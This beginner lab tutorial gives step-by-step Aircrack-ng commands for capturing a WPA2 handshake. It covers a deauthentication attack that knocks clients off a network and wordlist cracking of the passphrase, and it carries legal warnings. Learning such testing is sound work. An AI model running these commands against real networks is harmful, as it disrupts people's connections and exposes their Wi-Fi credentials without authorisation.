**🔐 Aircrack-ng Challenge Lab – Beginner Notes**

**🎯 Goal: Capture a WPA2 Wi-Fi handshake and crack the password using Aircrack-ng.**

**🚨 Only do this on your own Wi-Fi network or in a legal test environment. Hacking someone else’s Wi-Fi is illegal.**

**🧰 Tools Needed**

* **✅ Kali Linux (or any Linux with Aircrack-ng suite)**
* **✅ A wireless card that supports monitor mode (check with airmon-ng)**
* **✅ Wordlist (e.g., rockyou.txt)**

**🧪 Step-by-Step Lab Guide**

**1. 🔎 Put Your Wireless Card in Monitor Mode**

**sudo airmon-ng start wlan0**

**wlan0 might be different for your system. Use iwconfig to find the name.**

**2. 🛰️ Scan for Target Networks**

**sudo airodump-ng wlan0mon**

* **Find your target network.**
* **Note:**
  + **BSSID (MAC address of router)**
  + **Channel (CH)**
  + **ESSID (Network Name)**

**3. 🎯 Focus on Target Network**

**sudo airodump-ng -c [channel] --bssid [router\_mac] -w capture wlan0mon**

* **Replace [channel] and [router\_mac] with values from Step 2**
* **-w capture saves the handshake to a .cap file**

**4. 💣 Kick Out a Client (Deauth Attack)**

**To capture the handshake, we must disconnect a user so they reconnect (that’s when handshake happens):**

**sudo aireplay-ng --deauth 10 -a [router\_mac] wlan0mon**

**You can also specify a client MAC with -c [client\_mac] for a targeted attack**

**5. ✅ Check for Handshake**

**When a client reconnects, you’ll see:**

**WPA handshake: [router\_mac]**

**Now you have the handshake captured!**

**6. 🔓 Crack the Password with Aircrack-ng**

**Use a wordlist to try passwords:**

**sudo aircrack-ng capture.cap -w /usr/share/wordlists/rockyou.txt**

**You can use your own wordlist or custom ones too.**

**💡 Tips**

| **Tip** | **Explanation** |
| --- | --- |
| **Use strong wordlists** | **Bigger lists = better chances** |
| **Custom wordlists** | **Use crunch, cewl, or cupp to create targeted wordlists** |
| **Watch signal strength** | **Better signal = more stable capture** |
| **Be patient** | **Cracking can take time ⏳** |

**🧠 Why You Need This**

| **Reason** | **Importance** |
| --- | --- |
| **✅ Understand Wi-Fi vulnerabilities** | **Real-world hacking starts here** |
| **✅ Learn hands-on skills** | **Not just theory** |
| **✅ Build offensive AND defensive mindset** | **Know how to test and protect networks** |
| **✅ Build your Red Team basics** | **Aircrack-ng is an industry tool** |

**⚠️ Legal Reminder**

**Practice only in controlled labs, not on live networks you don’t own.**